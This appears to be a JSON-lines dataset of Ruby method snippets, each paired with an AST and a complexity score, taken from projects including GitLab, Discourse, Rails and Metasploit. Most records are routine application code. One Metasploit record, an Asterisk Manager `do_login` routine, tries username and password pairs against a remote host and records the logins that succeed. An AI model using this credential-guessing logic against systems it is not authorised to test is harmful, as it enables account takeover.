{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_comm_screener.rb","start_line":52,"raw_source":"def communication_prevented?\n ignoring_or_muting? || disallowing_pms?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"communication_prevented?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignoring_or_muting?\"]},{\"type\":\"send\",\"children\":[null,\"disallowing_pms?\"]}]}]}","id":"c49eb33e-7552-4b62-9e3a-2020f48c294a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/udp/udp_amplification.rb","start_line":34,"raw_source":"def setup\n super\n\n unless (@ports = Rex::Socket.portspec_crack(datastore['PORTS']))\n fail_with(Failure::BadConfig, \"Unable to extract list of ports from #{datastore['PORTS']}\")\n end\n\n @probe = datastore['PROBE'] ? datastore['PROBE'] : ''\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ports\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"portspec_crack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PORTS\"]}]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to extract list of ports from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PORTS\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@probe\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROBE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROBE\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"f8821511-c6e1-4544-9c13-2bd654ce9d85"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/propagate_service.rb","start_line":55,"raw_source":"def update_inherited_descendant_integrations\n propagate_integrations(\n Integration.inherited_descendants_from_self_or_ancestors_from(integration),\n PropagateIntegrationInheritDescendantWorker\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_inherited_descendant_integrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"propagate_integrations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"inherited_descendants_from_self_or_ancestors_from\",{\"type\":\"send\",\"children\":[null,\"integration\"]}]},{\"type\":\"const\",\"children\":[null,\"PropagateIntegrationInheritDescendantWorker\"]}]}]}","id":"bdb7d5fa-4faa-463d-9dcd-dfc0c0e06a95"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/basic_user_serializer.rb","start_line":11,"raw_source":"def has_chat_enabled\n can_chat && object.user_option&.chat_enabled\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_chat_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_chat\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_option\"]},\"chat_enabled\"]}]}]}","id":"29819d69-80a7-48c0-8f67-b536f6c6ea44"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/voip/asterisk_login.rb","start_line":110,"raw_source":"def do_login(user = '', pass = '')\n @connected = false\n send_manager(nil) # connect only\n\n if @result !~ /^Asterisk Call Manager(.*)/\n print_error('Asterisk Manager does not appear to be running')\n return :abort\n end\n\n vprint_status(\"#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'\")\n cmd = \"Action: Login\\r\\nUsername: #{user}\\r\\nSecret: #{pass}\\r\\n\\r\\n\"\n send_manager(cmd)\n\n if /Response: Success/.match(@result)\n print_good(\"User: \\\"#{user}\\\" using pass: \\\"#{pass}\\\" - can login on #{rhost}:#{rport}!\")\n report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)\n disconnect\n return :next_user\n end\n\n disconnect\n return :fail\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e\n vprint_error(e.message)\n return :fail\n rescue ::Timeout::Error, ::Errno::EPIPE => e\n vprint_error(e.message)\n return :fail\n end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"pass\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_manager\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Asterisk Call Manager(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Asterisk Manager does not appear to be running\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying user:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' with password:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Action: Login\\r\\nUsername: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\nSecret: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_manager\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Response: Success\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"ivar\",\"children\":[\"@result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"\\\" using pass: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"\\\" - can login on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail\"]}]}]}]},null]}]}","id":"0cf0628f-7d26-446f-848d-9d9d2ea83c10"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820170760_requeue_backfill_merge_request_cleanup_schedules_project_id.rb","start_line":59,"raw_source":"def improved_delete_batched_background_migration(job_class_name, table_name, column_name, job_arguments)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_dml_mode!\n\n Gitlab::Database::BackgroundMigration::BatchedMigration.reset_column_information\n\n batched_migration = Gitlab::Database::BackgroundMigration::BatchedMigration\n .for_configuration(\n gitlab_schema_from_context, job_class_name, table_name, column_name, job_arguments,\n include_compatible: true\n ).take\n\n return unless batched_migration\n\n batched_migration.batched_jobs.each_batch(of: 100) { |b| b.delete_all }\n\n batched_migration.delete\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"improved_delete_batched_background_migration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_class_name\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"job_arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzers\"]},\"RestrictAllowedSchemas\"]},\"require_dml_mode!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BackgroundMigration\"]},\"BatchedMigration\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"batched_migration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BackgroundMigration\"]},\"BatchedMigration\"]},\"for_configuration\",{\"type\":\"send\",\"children\":[null,\"gitlab_schema_from_context\"]},{\"type\":\"lvar\",\"children\":[\"job_class_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"job_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_compatible\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"take\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batched_migration\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batched_migration\"]},\"batched_jobs\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"delete_all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batched_migration\"]},\"delete\"]}]}]}","id":"32a45ef7-aaf2-4331-979d-2f41a9da8feb"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/visitors.rb","start_line":79,"raw_source":"def unary(node)\n visit(node.left)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"left\"]}]}]}","id":"550666af-2258-4f68-9583-11fd42792f43"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":906,"raw_source":"def parent_link_confidentiality\n return unless persisted?\n\n if confidential? && WorkItems::ParentLink.has_public_children?(id)\n errors.add(:base, _('A confidential issue must have only confidential children. Make any child items confidential and try again.'))\n end\n\n if !confidential? && WorkItems::ParentLink.has_confidential_parent?(id)\n errors.add(:base, _('A non-confidential issue cannot have a confidential parent.'))\n end\n end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_link_confidentiality\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"ParentLink\"]},\"has_public_children?\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A confidential issue must have only confidential children. Make any child items confidential and try again.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"ParentLink\"]},\"has_confidential_parent?\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A non-confidential issue cannot have a confidential parent.\"]}]}]},null]}]}]}","id":"bac71f23-cc33-4cdc-8b2d-bbb981102208"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/reports/subproject_report.rb","start_line":40,"raw_source":"def rows\n @project.descendants.visible\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"descendants\"]},\"visible\"]}]}","id":"0452b5b6-e4ab-4ae5-adae-60500195af07"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/parallel_scheduling.rb","start_line":114,"raw_source":"def each_object_to_import\n repo = project.import_source\n\n # URL to resume the pagination from in case the job is interrupted.\n resume_url = page_keyset.current\n\n client.each_page(collection_method, resume_url, repo, collection_options) do |page|\n page.objects.each do |object|\n object = object.to_h\n\n next if already_imported?(object)\n\n if increment_object_counter?(object)\n Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)\n end\n\n yield object\n\n # We mark the object as imported immediately so we don't end up\n # scheduling it multiple times.\n mark_as_imported(object)\n end\n\n page_keyset.set(page.url)\n end\n end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"each_object_to_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resume_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_keyset\"]},\"current\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"each_page\",{\"type\":\"send\",\"children\":[null,\"collection_method\"]},{\"type\":\"lvar\",\"children\":[\"resume_url\"]},{\"type\":\"lvar\",\"children\":[\"repo\"]},{\"type\":\"send\",\"children\":[null,\"collection_options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"objects\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_imported?\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"increment_object_counter?\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GithubImport\"]},\"ObjectCounter\"]},\"increment\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"object_type\"]},{\"type\":\"sym\",\"children\":[\"fetched\"]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_as_imported\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_keyset\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"url\"]}]}]}]}]}]}","id":"b19eb60f-e3e7-4d10-b69f-b6ad78e4223f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/records_fetcher.rb","start_line":64,"raw_source":"def serializer\n MAPPINGS.fetch(subject_class).fetch(:serializer_class).new\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPINGS\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"subject_class\"]}]},\"fetch\",{\"type\":\"sym\",\"children\":[\"serializer_class\"]}]},\"new\"]}]}","id":"16e72c21-d7fa-483b-a5f4-982c99c56ba6"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/assignment_in_condition.rb","start_line":80,"raw_source":"def allowed_construct?(asgn_node)\n asgn_node.begin_type? || conditional_assignment?(asgn_node)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_construct?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asgn_node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asgn_node\"]},\"begin_type?\"]},{\"type\":\"send\",\"children\":[null,\"conditional_assignment?\",{\"type\":\"lvar\",\"children\":[\"asgn_node\"]}]}]}]}","id":"cfeacb2a-63a4-43f4-b3f4-9403250b062b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":461,"raw_source":"def test_expires_in_old_syntax\n get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax\n assert_equal \"max-age=60, public, s-maxage=18000\", @response.headers[\"Cache-Control\"]\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expires_in_old_syntax\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"max-age=60, public, s-maxage=18000\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"910cce67-2c72-441d-8f4e-e20a8c13cf05"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/incidents/create_service.rb","start_line":42,"raw_source":"def error(message, issue = nil)\n ServiceResponse.error(payload: { issue: issue }, message: message)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"issue\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"1964f4bf-4b49-4ea1-ad6a-17c659c9a972"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/db/migrate/tables/meeting_journals.rb","start_line":34,"raw_source":"def self.table(migration)\n create_table migration do |t|\n t.string :title\n t.bigint :author_id\n t.bigint :project_id\n t.string :location\n t.datetime :start_time, precision: nil\n t.float :duration\n t.integer :state, default: 0, null: false\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"author_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"location\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"duration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"492584ad-ad03-4a34-a2d6-cd2c464ec5aa"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1113,"raw_source":"def test_should_render_formatted_html_erb_template_with_bad_accepts_header\n @request.env[\"HTTP_ACCEPT\"] = \"; q=dsf\"\n get :formatted_xml_erb\n assert_equal \"<test>passed formatted HTML erb</test>\", @response.body\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_formatted_html_erb_template_with_bad_accepts_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"HTTP_ACCEPT\"]},{\"type\":\"str\",\"children\":[\"; q=dsf\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"formatted_xml_erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<test>passed formatted HTML erb</test>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"20d94c85-748c-4c92-8cc6-de298c4ceca7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/gitlab_client.rb","start_line":194,"raw_source":"def usernames_to_ids(usernames)\n Array(usernames).map do |username|\n data = request(:get, \"/users\", query: { username: username })\n data[0]['id']\n end\n 